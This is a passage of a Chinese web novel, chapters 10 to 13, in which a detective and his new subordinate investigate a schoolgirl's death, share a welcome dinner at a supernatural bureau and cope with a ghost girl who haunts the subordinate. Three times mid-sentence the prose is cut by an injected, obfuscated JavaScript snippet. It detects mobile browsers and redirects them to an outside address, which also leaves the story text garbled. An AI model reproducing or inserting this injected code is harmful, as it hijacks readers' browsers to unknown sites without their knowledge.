闻允一看严崇山受挫就挺高兴,提醒了严崇山一句:“乔老师家也在这附近,要不去找她一趟,她说不定能有学生家长的其他信息……比如工作单位什么的。” 严崇山扫一眼他微微带笑的脸,伸了个懒腰,慢悠悠地说:“行,闻爱卿言之有理,那走吧……你认路吗?” 闻允惜字如金地点头。 乔老师确实住得离李芸芸家里挺近,凭严崇山那龟爬似的速度,竟然五分钟不到就开到了。 闻允带着严崇山在小区里穿行,自顾自地说:“不知道她在不在家……今天全校停课一天,她应该在吧?” 从闻允的状态及行为里,严崇山解读出一种叫做“期待”的东西。 闻允把乔老师看得很重,他不由得有些好奇,到底是个什么样的老师,能让学生这样敬爱。 不过眼下不适合问这些,他们已经到了乔老师的门前。 严崇山抬手按响门铃,不过片刻,就有人来开门。 乔老师在家里。她可能在补觉,开门的时候室内黑乎乎的——今天是半个月以来第一个晴天,难得的阳光被窗帘隔绝了一干二净。 乔老师睡眼惺忪,看见闻允才用力眨了眨眼,她露出一个笑,亲切地招呼闻允:“你怎么来了?哦,还有严警官。来,进屋里来坐坐。” 她告诉两人不用换鞋,便忙碌着拉开窗帘、打开空调,又从茶几抽屉里翻出茶包,开始烧水。 闻允乖乖地把自己塞在沙发的角落里,严崇山敞着两腿往沙发上一坐,职业病就犯了,眼睛一刻也闲不住,在人家家里光明正大地东张西望起来。 乔老师家里布置得很简洁,但挺有生机,阳台上摆了一些绿植,沙发用精挑细选过的沙发布罩着,电视旁还有个和电视齐高的摆件花瓶。 不过拖鞋、水杯……所有生活用品都是单人的。 严崇山看了一圈,在心里默默地想:她单身?独居? 乔老师斟好两杯茶,往他们面前轻轻一放,顺着严崇山的视线看了看门口拖鞋,笑着解释:“我已经离异了,女儿跟着我前夫。不过她有先天病,已经去世很久了。” 严崇山说了一句节哀,心里怪纳闷的:这怎么又死一个? 闻允端过水杯,轻轻地说了一句谢谢,向乔老师表明来意:“打扰了,我们今天走访李芸芸同学家里,才发现她父亲已经搬走了……唔,想问问您有没有她父亲的新地址,或者其他能联系到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530296|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她父亲的方式?” 乔老师没急着回答,她先惊讶地问:“你是跟着严警官一块儿来调查的?你现在也是警察了吗?” 闻允腼腆一笑:“说来话长,体系内待遇挺好的,正好严警官也用得上我。” 乔老师顿感欣慰:“那就好啊……你这孩子,大学毕业以后也没告诉我去向,我还一直担心是今年就业市场不好,你找不着工作,还想着要不要给你介绍几个科研项目……” 闻允听着,不自觉地朝始作俑者看了一眼,严崇山无辜地眨了眨眼,又朝他一笑,希望能借此泯恩仇。 闻允没接收到他的信号,他和乔老师客套了两句,乔老师站起来,去屋里取联络簿。 “我没教过李芸芸,跟她交集不多,也没有她父亲的新地址,”乔老师翻了几页纸,拿手指在上面一行一行地检索,“但是工作单位应该……哦!有了。” 她将联络簿在二人面前放下,点了点上面一行数字:“这个应该是他单位的联系方式。” 闻允一看见电话号码,就知道联系别人的重任要落在自己身上,他甚至都没等严崇山使唤他,自己就行动了。 闻允:“喂?你好,我是警察……” 交流了几句,闻允道着谢挂断了电话。 他转头说:“李建安三个月前辞职了,单位也没他地址,我们……” 话说一半,他发现就打电话的这会儿功夫,严崇山人已经不在沙发上了。 这厮手欠至极,蹲在客厅中央,逮了一只刚从房间里出来的肥美蓝猫,已经把猫兜在怀里把玩起来,神情兴高采烈、眉飞色舞,嘴里发出响亮的“嘬嘬”声,不知道到底把话听进去没有。 闻允忍无可忍地叫他:“严……领导!” “哦,”严崇山收敛了面上猥琐的笑容,“我听见了,李建安辞职了。嗯,难办。” 嘴上说着难办,眼神一秒也没离开猫,严崇山爽完了,突然问乔老师:“你要把猫送人吗?我看你把猫粮猫砂都打包好了,放在门边,航空舱也在客厅靠门的位置。” 乔老师微微一愣。 “啊……是,”她伸手摸了摸小猫的头,猫呼噜噜地打起响来,“我最近有点猫毛过敏,医生说再严重点可能会发展成哮喘,没办法,只好送人了。” 严崇山也跟着挠猫下巴:“可惜了。不过这小东西挺可爱的,新主人肯定喜欢它,它叫什么名字?” 乔老师脸上浮起一个微笑:“秦念念。” 严崇山奇道:“哟,这么讲究,这猫还有连名带姓的大名儿呢?” 乔老师垂下眼:“……嗯,它跟我女儿同名。” 闻允:“……” 他对严崇山这种哪壶不开提哪壶、精准戳到人痛处的能力真是没话说了,只好恶狠狠地白了严崇山一眼。 严崇山感觉不到尴尬似的,泰然自若地朝闻允挤了挤眼睛。 他站起来将那杯茶一饮而尽,随后和乔老师辞别:“再待下去就饭点儿了,我们就不留下蹭饭了,先走了?” 闻允跟着站起来,乔老师拍了拍他的背,像一个慈祥的长辈,温和地交代他:“好,你们回吧,慢点走,还有需要就再来。” 两人铩羽而归,闻允士气低迷地上了车。 他没想到查案之路如此艰难险阻,兴致不大高地问:“那我们就不去李芸芸家里了?” 严崇山面不改色,重新以老牛拉破车的速度驶上主干道:“去啊,怎么不去?不去落线索了怎么办?” 闻允:“你知道李建安的新地址?” 严崇山阳光灿烂道:“哎呀,思路打开嘛,正经渠道走不通,这不是还有下三滥的手段吗?” 11. 镜花水月 两人坐在特安局的客厅里,闻允一脸麻木,看着严崇山施展所谓的“下三滥手段”。 就在五分钟前,严崇山给家里拨了一通电话。 是的,家里。 这厮没用地向家里人伸手了。 严崇山他爹不知道在哪个部门当官,熬到五十多岁,终于当上了局长,和二十八岁的儿子平起平坐,也算是美谈一桩。 初闻此事,闻允就控制不住地在心里想:要是我上严崇山家里做客,叫一声严局,谁答应呢? 他的想法很快就被严崇山打断了。 严崇山和亲爹打起电话来极其恶心,说话油腔滑调,一种把亲爹也当领导哄的架势。除此之外,他又牢记着自己儿子的身份,时不时还要撒个娇。 亲娘啊,二十八岁的成年男子和亲爹撒娇! 严崇山坐在闻允身边,手机贴在耳旁,振振有词地问:“那我是不是你唯一的、最亲的、永远疼爱的儿子呢?……是?那你唯一的、最亲的、永远疼爱的儿子向你提出的这么小小一个要求,你都不能满足吗?” 闻允听得精神恍惚。 严崇山接着说:“什么叫‘给你买车只需要出钱但给地址可是违反程序啊’?你暗示一下你下属,又不用文字留痕,地址不会送上门来吗?” 片刻之后,严崇山脸上带着迷之微笑,朝话筒说了结语:“您真是一位伟岸的父亲!” 这通电话对闻允的精神折磨简直是上刑程度,他萎靡不振地靠在沙发角落里,奄奄一息地问:“……行了?” 严崇山狡黠一笑:“等着吧。” 果然,这个手段虽然无耻却卓有成效,半小时后,严崇山的手机一震,李建安的新地址出现在他的信箱里。 闻允拿指尖按着严崇山的手机,够过来几寸,把地址记好了,默不作声地站了起来。 习惯成自然,他已经默认遭瘟的领导又要带着他一起行动了。 谁知严崇山只是瘫在沙发上,充满疑惑地询问:“你要去哪儿?” 面对领导的考验,闻允十分谦卑地说:“我去改掉‘推三阻四、偷懒耍滑’的坏习惯。” 严崇山:“……” 小兔崽子恁记仇! 闻允补充说:“也就是工作。” 严崇山招了招手,示意他坐回来:“过六点了你不知道吗?下班了。” 闻允环视四周:“我没看见这里有打卡机。” 严崇山郑重道:“考勤自在人心。” 和这个自己懒得动弹就要带着下属一块儿偷懒的领导不同,闻允很有些真情实感的担忧,他皱起眉来,认真地问:“你就不怕这样拖延下去,学校里出现新的受害者吗?” 严崇山眉梢一挑。 他很欣赏闻允的责任心,但依旧没有要起身的表示,而是优哉游哉地问:“你今天见过计遇吗?” 闻允:“没有。” 严崇山:“那就对了,因为我派他去学校里布阵了,今晚绝不可能再有新的命案,出事儿了我跟你姓。” 闻允回想了一下他和亲爹打电话的那番腔调,面色古怪地回绝:“不了,我不好为人爹。” 严崇山懒洋洋地拿起手机看了一眼时间:“哦,我从酒店定的餐也快到了,收拾收拾准备吃饭吧,这是为你接风洗尘的。” 话音刚落,有人推门而入。 特安局门口有结界,让普通人送快递外卖进来的难度很大——他们送进来的时候大概率会因为受惊把东西摔了,走的时候还要让后勤处去处理记忆,得不偿失。 所以严崇山一般把收货地址填门口,再差遣其他人去拿。 进门的是个闻允没见过的生面孔,看样貌也就十八九岁,和李煦应该差不多大。他手里拎着两大袋包装隆重的菜品,进门不和任何人打招呼,一声不吭地把外卖袋放上桌,又一声不吭地开始拆包装。 严崇山保持着那个没骨头的坐姿刷手机,心安理得地说:“我不爱看外卖盒,你把消毒柜里的盘子拿出来装盘啊。” 闻允简直难以置信严崇山能缺德到这个程度,他不忍心看小男生独自忙活,挽起袖子,跟着一起摆弄。 袋子一拆,一股香味就渗了出来。 严崇山在饮食上格外铺张浪费,天上飞的地上跑的深海里游的一并上桌,闻允像从聚宝盆里往外掏不小心掉进去的菜品,不知不觉就摆满了一桌,香气浸过来,他的肚子咕噜滚了一声。 他干咳一句,问那小男生:“你叫什么名字?” 严崇山远远地回答他:“许博航。” 闻允:“满二十了吗?” 严崇山:“没呢,今年刚十九,还在上大二呢,现在在局里实习。” 闻允忍无可忍:“谁问你了?” 严崇山意味深长地和他对视一眼。 电光石火间,闻允读懂了严崇山的眼神,他开悟了,原来这个许博航是个哑巴! 于是他满怀歉意地对许博航道:“对不起,我不知道你是残障人士……” “我不是。” 许博航像个自闭症,他闷头丢出一句话,转身又去厨房端盘子。 闻允:“……” 闻允简直服了,严崇山没事瞎递什么眼神,真觉得他们有默契吗?! 许博航不能体会他的尴尬,他自顾自地把盘子端来,按龟毛领导的要求小心翼翼地、原模原样地把色香味俱全的菜品转移到盘子里,随后在桌边坐下,托着两腮开始发呆。 严崇山这时候才施施然起身,他晃荡到餐桌边,毫不客气地在主位上坐下,招呼闻允:“小允子,光站着干嘛,快坐呀!” 许博航还是满面呆滞,闻允被夹在两人之间,觉得再不动筷子就得先吃一肚子气,便把手抬了起来。 这举动不止触发了什么机关,许博航突然望向他:“等。” 闻允愣了一下:“等谁?” 许博航吐出两个字:“李煦。” 他像只一戳一蹦跶的青蛙,被人戳着了就蹦两个字,没人戳就进入两眼无神的待机状态,倒出来两个掷地有声的字以后,他又走神了。 这局里到底有正常人没有? 虽然简短,闻允却领悟了他的意思——严崇山说这是欢迎宴,人还没到齐,得等。 闻允在两个神经病间枯坐了十分钟,门终于开了。李煦连哭带嚎地冲进来,计遇像遛狗的主人般缀在他身后。 李煦一个人嚎出了三狗齐汪的架势,他的脸上格外喜庆,鼻青脸肿伴着花红柳绿,上桌就能加盘菜。 “你被人打了?” “计遇把你打了?” 闻允和严崇山异口同声地询问,后者泼了计遇一身脏水,计遇重重“啧”了一声,也往餐桌边一坐,撂下一句风凉的“他自己摔的”。 “太出息了,”严崇山诚恳地问,“你一个‘预知’把自己摔成这样,是故意设计的吗?” 李煦一回来,现场氛围一下就活泛起来,他哼哼唧唧地说:“不是!我‘预知’起作用了,预知到城管会来,结果收摊儿跑太急了,左脚绊右脚,给自己摔成这样了。” ……连左脚绊右脚这种丢人的理由都能原封不动地说出来,可见李煦的脑子的确是撞得不轻,已经无瑕顾及自己的颜面。 计遇拿起筷子,伸向众星捧月的那盘澳龙,接话说:“我正好路过看见他,就带回来了。” 闻允见许博航对那双跃跃欲试的筷子毫无反应,提醒道:“梨子姐呢?” 他的话像按下了什么暂停键,一时间,计遇筷子也不伸了,李煦也不哼唧了,连许博航那个痴呆儿都把眼神挪过来了,氛围顿时僵硬。 唯有严崇山不受影响,他抢先一步夹走了计遇看上的那块肉,若无其事地说:“她去约会了。” 这单位里的情况真是复杂,闻允没接话。李煦为了缓和氛围,故态复萌,又嘤嘤呜呜地嚎起来,许博航眼疾手快地往他嘴里塞了一筷子青菜,堵住了他的嘴,这顿饭终于热热闹闹地开幕了。 计遇和许博航虽然话少,但架不住李煦是个活宝,他一边说话,严崇山一边捧哏,一顿饭像是在相声台上吃的。 过了几分钟,被塞了一耳朵垃圾话的闻允终于受不了了,主动支开话题:“小许怎么是实习生?” 李煦抢答:“他还没毕业呀!当然没法办入职了。不过他能力太不可或缺了,高中的时候就被我骗……请进来了。” 闻允洗耳恭听。 这时,奉行沉默是金的许博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530297|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 航突然自己开口:“我是‘镜花水月’。” 没等闻允问,李煦这个全自动回答机就开始显摆,表现得和许博航与有荣焉:“他的能力能修改别人的记忆!来小许,你给闻允哥示范一下。” 许博航听话地把筷子放下,他向闻允摊开手心,言简意赅地说:“手。” 闻允品了品,觉得这似乎是要他把手放上去的意思。 ……严崇山展示能力要他把手搭上去,许博航展示能力也要他把手搭上去,他难道是什么动物吗?来这里是参加握手训练的? 想归想,他还是用指尖轻轻碰了碰许博航的掌心。 许博航盯着他的眼睛,简洁地说:“你刚才吃饭,看见计遇和严崇山亲嘴了。” 严崇山和计遇同时将筷子一拍,向他怒目而视。 许博航安之若素。 闻允额角忍不住一抽,心说有用吗,我又不是脑残,怎么会相信这么离谱的话? 然而下一秒,他像被某种强烈的信念攫取了心神,一道名为尴尬的天雷将他从头到脚劈了个外焦里嫩,强电流的余韵很悠长,他浑身上下每个细胞都别扭到极点,恨不能立刻逃离现场,而大脑则极力抗拒着一个自然而然浮现出来的画面:严崇山满脸深情,撅着嘴向计遇靠近,冷脸男计遇一脸陶醉,二人的嘴像磁铁一样吸在了一起。 他要离职!! 李煦幸灾乐祸地开口:“怎么了?” 闻允捏紧筷子:“你……你刚才没看见吗?严……他俩……” 李煦疯狂拍桌,笑得眼泪都出来了——那眼泪触到脸上的伤痕,疼得他龇牙咧嘴,面目狰狞。他维持着这个表情,提示道:“不、不是……你再想想,他们是什么时候亲上的?亲嘴前发生了什么,老大什么反应?” 闻允心说谁还反刍这个啊!可他顺着李煦的思路一想,竟然卡住了。 他的表情一片空白,两眼茫然地望远,等几秒后再回过神来,他刚树立起的坚定信念开始溃散——就像一个做梦的人开始追溯梦境的边界、事件的起因,看似和谐的梦境在逻辑的细究下轰然倒塌,虚假的记忆不过昙花一现。 如水中月、镜中花。 ——怪不得叫镜花水月。 闻允被耍了这一出,还不得不夸赞:“……了不起。” “不过没办法细究,被催眠的人要是想深了,很容易发现这是假的。”李煦从清蒸鸡里夹了个大鸡腿,被心怀怨恨、蓄意报复的严崇山给打掉了。 严崇山自己不吃,愉快地将鸡腿转移到闻允碗里,还买一送一地附赠了一个听着就敷衍的理由:“来小允,你长身体呢多吃点……” 一小时后,众人吃饱喝足,作鸟兽散。许博航任劳任怨地把盘子一收去刷碗,李煦兴致勃勃地凑到闻允身边:“哎,闻允哥,你搬过来以后住哪儿啊?” 闻允不忍心长久地盯着他的脸看,把眼神移开:“严崇山让我住南边的小套间。” 李煦啧啧摇头:“哎哟,那地方!” 闻允:“风水不好?” 李煦严肃道:“不,风水很好,只是在领导隔壁,以后你就要和头儿一块儿用小客厅书房还有小厨房了,怜悯,点蜡。” 闻允:“……他风评就这么差吗?” “倒也不是吧,”李煦挠挠下巴,“不过谁乐意挨着领导住啊?” ……这倒是真的。 毕竟是领导的安排,闻允别无选择,他回屋把自己为数不多的行李安置好,随后去洗了个澡。 房间挺大,屋里铺了羊绒毯,家具的主色调是黑白灰,中央空调调到了最合适的温度,两米的大床做了软包床头,左右各亮着一盏氛围灯。 这环境和星级酒店比也不遑多让。 闻允很满意,他带着一身沐浴露的气味飘出来,一头栽倒在新床上。 跟在严崇山身边扮演了一天拉磨的驴,他觉得自己累得能立马昏过去。 然而刚合上眼,他就听见一阵敲击声。 闻允不做他想,认为是隔壁的严崇山单纯地在犯病。 又过几秒,他突然睁开眼,眼神一片清明。 领导住他隔壁,但这声音不是敲墙,是敲窗。 他的房间在二楼,没有阳台。 12. 同眠 闻允一下坐直起来,才如潮水般将他淹没的困意“刷”地又褪了个一干二净,一个清晰的念头大浪淘沙地留了下来。 不会吧? 为了验证自己的猜想,他将灯打开,走到窗前,做好心理建设后,一鼓作气地将深灰色的窗帘掀开。 一个水灵灵的、相当眼熟的小姑娘正飘在窗外。 看见他,小姑娘黑葡萄似的眼睛弯起来,表情俏皮,又敲了敲闻允的窗户。 ……闻允隐约记得严崇山和他介绍过,结界的作用是防止结界里的鬼出逃,也防止结界外的鬼入侵,是吧? 这结界符除了外卖员还拦住谁了?谁刻的符啊,到底管用吗?! 他微有恼意,冷冷地对小姑娘道:“别演了,你可以直接穿墙而入吧?” 小姑娘笑嘻嘻地穿过窗户飘进来,她在地毯上站定,一把抱住了闻允大腿,把脑袋扬起来,响亮地说:“哥哥我想你啦!” 闻允单方面听了十几年的“哥”,可算找着机会反驳了,他深吸一口气,平静地回答:“我不是你哥。” 小姑娘的耳朵上可能装了什么过滤系统,不爱听的话一概听不见,她对闻允的回答置若罔闻,自顾自地委屈起来,瘪着嘴说:“你之前一直都不理我,弄得我好孤单。” 闻允:“……” 要不是你以前一会儿演裂口女,一会儿满脸血,我也不会吓得一直不理你好吗? 他发现自己和这只小东西说不通,想了想,决定祸水东引,将手一抬,指向严崇山的方向,尽量温和地劝导:“我要睡觉了。如果你觉得无聊,可以去找隔壁的人玩。” 小姑娘不吃这套,她松开闻允的大腿,两手叉着腰,执着地重复:“我要和哥哥玩儿!” 闻允实在没有当哥的经验,一个“我想揍她”的念头在他脑海里按下葫芦浮起瓢,怎么也挥之不去,他尽量冷静下来,向小姑娘强调:“现在是人睡觉的点,这个你能明白吗?” 小女孩儿的表情纠结起来,过了片刻,她好像做了极大的让步,委委屈屈地说:“那好吧,我就站在你的床头看着你睡吧。” 一墙之隔外,严崇山洗漱完毕。 他的房间风格和闻允一模一样,都是奢华的酒店装潢,区别是软装更多——墙上有挂画、桌上有摆件、几个点燃的高矮错落的香薰蜡烛堆在床头柜上,叠好的衣服放在床尾脚凳上。 他换上柔软的丝质睡衣、吹灭香薰、把床褥细致地整理了一遍,终于将自己埋进被窝里,睡姿安详地躺平,两手交叠在小腹上,准备以这个安息的姿态进入睡眠。 一切都在最完美的状态,房门却被人煞风景地敲响了。 严崇山不满地坐起来,他没有起床气,也没有入睡困难症,但并不代表工作时间外下属可以随心所欲地打扰他。 会是谁呢?李煦来汇报新的科研成果?罗梨进来闺房夜话?计遇心碎深夜买醉回来走错门? 他把门打开,吃惊地发现门外站着的竟然是闻允。 闻允也是一身睡衣,虽然质感上远不如严崇山的,但款式有点像,两人睡衣的颜色是一浅一深。 严崇山握着门把手,警惕地说:“你干什么?我告诉你我们是不倡导办公室恋情的,小允同志,你这样非常伤风败俗,我代表组织谴责你。” 闻允面无表情地说:“有鬼进来了。” 严崇山嗤笑一声:“不可能!你知道门口结界符谁刻的吗?那可是……” 话没说完,他看见桌上一个贵重的玻璃杯正在自行挪动,仿佛有一只邪恶的、看不见的猫爪正打算送它上西天。 他瞪直了眼,看着玻璃杯一寸一寸地挪到桌边,最后轻轻地掉了下来——还好地上铺了一层羊绒毯,不然严崇山得心痛至死。 他以一种活见鬼的表情(如果他不用牛眼泪也能见到的话)看着闻允。 闻允:“信了?” 严崇山:“不儿,是什么样的……” 闻允皱了一下眉:“我家里那只。局里有没有什么贴上就能屏蔽鬼魂的符咒?” 严崇山:“……暂未研发。” 闻允又问:“能把鬼魂收押的东西呢?” 严崇山耿直地回答:“局里就一个魂瓶,在计遇那里,他出去借酒消愁了,今晚不一定回来。” 闻允:“……” 闻允的表情十分精彩,严崇山两天来没见过他这么纠结的表情。 他好像在做艰难的心理斗争,在门口杵了好半天,最后也不知道是哪个念头获胜了,只见他吐出一口气,闷闷地说了一句“算了”,转身就走。 “等等!”严崇山叫住闻允,他福至心灵,好像知道了闻允的打算:“你刚才不会是想……和我睡吧?!” 闻允像预设好了答案,脱口而出:“没有。” 然而他并不擅长撒谎,话一出口,嘴唇就抿了一下,严崇山看得龙心大悦,哈哈笑了起来:“哈哈哈……想跟我一起睡就一起睡呗,害什么羞啊?放心吧,我不是同性恋。” 闻允恼羞成怒,反唇相讥:“难道我就是?” “那你更不该害怕了,”严崇山笑眯眯地抱着手臂,往门框上一靠,“还是说你今晚打算不睡了?” 闻允看了一眼腿边,刚才因为不满跑去自证存在的小姑娘已经回来了,黏糊糊地挨着他,发现他的目光,立刻又重复了一遍:“哥哥陪我玩!” 闻允吐出一口气,走进严崇山的房间,冷冷地说:“贵局符咒种类实在太少,抓紧研发吧。” 严崇山尽情欣赏着闻允吃瘪的表情,这两天观察下来,他发现闻允情绪有大起伏的时候不多,偶尔话多还净在刻薄,这样的反应实在罕见。 他笑得贱嗖嗖的,一边发出哼哼的音效,一边上了床,还对站在床边迟疑的闻允道:“上来啊,干什么呢,您睡觉还要人请啊?要不要我再帮你准备一杯热牛奶、念个睡前故事?” “……留着自己喝吧。”闻允翻了个白眼,终于动身,钻进了被窝。 严崇山啪地关了灯,大敞的窗帘外,近处摇晃的树枝成了深色的剪影,远处亮着灯的居民楼窗口像散落的星星,而月明如水,温柔地泼洒在室内。 想把小姑娘屏蔽需要有肢体接触,闻允面对领导这副欠兮兮的态度不大想主动,还是严崇山把手挪过来,抓住了他的手腕。 真软。严崇山想。闻允的手腕清瘦,腕骨突出,上面一层薄薄的皮肉摸起来却柔软得不得了,还有一点微微泛凉,就像一块玉。 闻允就没有他这么好的兴致了,他和严崇山挨得太近,小女鬼是看不见了,呼吸声却因为近在咫尺而清晰可闻,他好一会儿都没酝酿出睡意,无理取闹地想:都怪严崇山呼吸。 严崇山不止呼吸,还要和他闲聊。 室内的沉寂被他一句问话打破:“你几岁开始自己睡的?” 闻允打了个哈欠,声音仍旧挺冷:“问这个干嘛?” 严崇山挪了一下,他把自己一只胳膊枕在脑后,眼睛出神地盯着天花板上微微变化的光线,说:“我六岁就开始自己睡了,就是上小学那年,我那会儿死活不乐意,我妈就跟我说‘其他小朋友早都自己睡啦,你难道不如他们吗?’” 闻允想了想,回答:“我也差不多是那时候吧,不记得了。……你有那么争强好胜吗?” 严崇山低低地笑了笑:“也不是争强好胜,就是想哄我妈开心,我妈跟公主似的,全世界的人都得哄着她,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530298|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也哄着她。我的表现一超过其他小朋友,她就挺开心的。” 闻允又打了一个哈欠:“……令堂喜欢鸡娃?” 严崇山摇摇头:“那没有,她对我的成绩之类的没什么期盼,就是希望我正义、善良,还有快乐,她觉得我早早地自己睡就能早早独立,说不定以后抗压能力也会比别人强。” 闻允嘀咕一句:“不理解。” 严崇山突然望向他:“改天带你见见她好了,她老想了解我工作都在干什么,我又怕局里吓到她,一直没敢让她来。” 他灵机一动,突发奇想地说:“计遇他们社会化程度不行,见长辈总觉得拿不出手,你正好啊。” ——瞧这话说的,闻允还是他精挑细选的见面礼呢。 谁没事带下属见家长的?有病。 闻允嫌他烦,不说话。 没过一会儿,他的呼吸就慢慢绵长下来,严崇山这棒槌还在轻轻地追问他:“你觉得怎么样?” 没有应答,闻允已经睡着了。 他只好自顾自地笑了笑,也闭上眼睛。 这一夜,严崇山睡得奇差无比。 他有点和别人一起睡觉就失眠的毛病,恐怕他母亲对他的锻炼并没有提升他的抗压能力,倒是让他从此丧失了和别人同床共枕的能力。 于是阳光刚洒进来,严崇山就睁眼了。 都说一个人的睡姿可以反映他的内心,严崇山看起来像是睡觉能把自己睡到厕所里去的类型,其实他的睡姿非常规矩,睡觉的时候不怎么翻身,也不怎么乱动。 而闻允则面对着他,蜷起来睡——那是一个不太有安全感的姿势。 严崇山怕吵醒他,没动作,只是静静地看着他。 闻允睡着的时候一点也看不出性格坏,他睫毛挺长,这种没防备的表情显乖,严崇山在这个时候才有种“他才刚大学毕业”的实感。 他动了个坏心眼,拿手指去拨闻允的睫毛,闻允的眼珠在眼皮下动了动。 睡得真浅。 他玩够了,把手伸回来,就这么干躺了一个小时,他才意识到——自己的手抓了闻允一整晚,还没松开呢。而闻允虽然和他有这样的肢体接触,睡得却似乎还不错,没有失眠的困扰。 不知道为什么,这个认知让严崇山微微地触动了一下,他莫名其妙地生出一种愉悦感。 下一刻,闻允突然睁开眼,眼神有点茫然。 严崇山松了手:“……早?” 闻允打了个哈欠,带着鼻音应了一声,他迷迷糊糊地睁眼,看到小姑娘鬼沐浴在阳光里,趴在床尾凳上,正百无聊赖地看着他们。 尽管她在白天看起来就和正常人差不多,但本质上也是个纠缠了闻允许久的东西,闻允登时有点看醒了,立刻坐了起来。 ——是了,不怕阳光的鬼,自然也不怕符咒了。 严崇山观察他的表情,试探着问:“还在啊?” 闻允点点头:“缠上我了。” 小姑娘生气地反驳:“我本来就该和哥哥呆在一起!” 闻允懒得再纠正他的称呼,他掀开被子下床,问严崇山:“今天去找李建安吗?” 严崇山:“嗯,不急,吃过早饭再走吧,不然对胃不好。” 闻允回头看了他一眼:“你真娇气。” 严崇山大怒:“我是为了你着想!狗咬吕洞宾……” “我也要去!”小姑娘还没弄明白情况,却意识到自己又要和闻允分开,她非常不满,开始闹了起来:“哥哥哥哥哥哥我要去我要去……” 闻允脚步一顿,想出一个损招,他罕见地朝小姑娘笑了一下:“你想找人玩是不是?我答应你,今天有人陪你玩……至少三个。” 13. 突破口 “这只……这尊……不,这位,是什么东西?” 严崇山看不见小女鬼,但他能看见李煦惊恐的表情。 洒满阳光的客厅内,闻允做出牵手状站在沙发前,李煦如临大敌地坐在他对面,伸出一根不停颤抖的手,指着闻允手中的空气。 闻允想了想,觉得要是从八岁那年见到小女鬼开始讲有点太长了,于是言简意赅地介绍:“我妹妹。” “令、令妹怎么是是是个裂口女啊?”李煦咽了一口口水,他脸上的伤刚由青转紫,看起来狰狞一片,和小女鬼放一起也不知道谁更吓人。 闻允低头去看,发现变脸是小女鬼的见面礼,见谁送谁、逮谁吓谁。 于是他轻轻地“啧”了一声,小女鬼听见了,脸一秒恢复了正常。 “总之,嗯……”闻允指了指严崇山,“我和他要出去查案,没办法监护她,所以你们来吧。” 甩手掌柜严崇山快乐地接口:“对。” “我们?”李煦听见自己还有难兄难弟,心情终于舒缓了一些,“你是说梨子姐和计遇哥都可以帮我带小鬼……小孩儿吗?” “嗯。”闻允不动声色地交代了自己已经将同事们全部出卖的事实:“我答应她今天有三个人陪她玩,如果没做到,她会轮流去你们房间看你们睡觉。” 小女鬼已经十几年没人搭理了,根本没想到如今还有三人陪玩的待遇,她两眼放光,朝李煦一扑:“哥哥陪我玩!” 而在李煦“啊啊啊我不喜欢小孩儿——!”的惨叫里,闻允和严崇山火速地逃离了现场,踏上今日的查案之旅。 严父发来的地址在一片加工厂附近,离市中心有点远,闻允觉得这车如果让严崇山来开,得开到猴年马月去,于是主动揽下了开车的职责。 他不开还好,一开简直要把严崇山的心脏病给吓出来——闻允开车的风格很狂野,一字诀就是快,而且车技十分了得,见缝插针地换车道、超车,严崇山开这车这么多年没收获的白眼和唾骂,在这一路就全补回来了。 下车的时候严崇山的腿都有点抖,倒不是害怕出车祸,主要是担忧自己的爱车被人报复,蓄意剐蹭。 而闻允意气风发、心满意足,他好好地过了一把瘾,还车钥匙的时候都礼貌多了:“谢谢严哥。” 瞧瞧,开趟车都给姓严的升咖成严哥了。 冲着这声称呼,严崇山勉强原谅了他。 两人下车又走了一段,步行进入一条窄巷里。这巷子夹在两座握手楼之间,缝隙里只能看见一点天光,可以用“暗无天日”来形容。巷子两侧坐着不少纳凉的人,地上满是积水和烟头,成袋成袋的垃圾堆在角落里。 闻允皱着眉在鼻子前挥了挥,他对照着门牌号,在一个门前停下脚步,上前敲了敲。 过了一会儿,有个酒气冲天的男人来开门,他模样很邋遢,头发油腻,身上的衣服也有油点子,看见他们就疑惑地问:“你们是?” 严崇山如同流氓,他一胳膊肘抵着门,防止男人听完回答就把门合上,一边做出一副要往里闯的架势,一边龇出一口齐整的白牙:“警察。” 男人果然脸色一变,立刻就要关门,但是他力气没严崇山大,可能还宿醉过,根本拦不住这流氓,只好眼睁睁地看着二人“登堂入室”。 他愤怒地说:“我早就说过芸芸不可能是自杀,你们从来没有一个人相信我,现在过去这么久了,反而想着查了,找我还有什么用?!” 他竟然就是李芸芸的父亲,李建安。 闻允挺意外,因为上个小区环境很好,李建安的单位也很体面,想来是个高薪职业,他不该是现在这副模样才对。 